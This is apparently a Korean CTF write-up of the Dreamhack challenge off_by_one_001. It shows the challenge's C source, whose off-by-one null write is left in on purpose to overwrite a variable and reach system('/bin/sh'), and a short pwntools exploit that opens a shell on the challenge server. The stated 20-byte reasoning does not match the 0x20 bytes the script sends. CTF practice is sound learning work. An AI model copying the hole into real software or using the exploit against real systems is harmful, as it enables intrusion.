https://dreamhack.io/wargame/challenges/10
문제 파일을 다운 받으면 off_by_one_001.c와 실행 파일이 있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
1. name을 입력 받는다.
2. name의 길이에 해당하는 인덱스에 '\0'을 넣는다.
3. age가 0이면 shell을 얻는다.
스택을 보면 name 밑에 바로 age가 있는 것을 볼 수 있다. name[20] == age인 셈인데, name을 입력할 때 20개를 입력하면 name[20]에 '\0'이 들어가면서 shell을 얻을 수 있을 것 같다.
이를 코드로 작성하면 다음과 같다.
from pwn import *
p = remote("host3.dreamhack.games",8725)
payload = b""
payload += b"A"*0x20
p.sendafter(b"Name: ", payload)
p.interactive()
'드림핵 워게임' 카테고리의 다른 글
[드림핵/워게임] basic_exploitation_002 (0) | 2023.08.17 |
---|---|
[드림핵/워게임] out_of_bound_000 (0) | 2023.08.17 |
[드림핵/워게임] off_by_one_000 (0) | 2023.08.17 |
[드림핵/워게임] sint (0) | 2023.08.10 |
[드림핵/워게임] ssp_001 (0) | 2023.08.10 |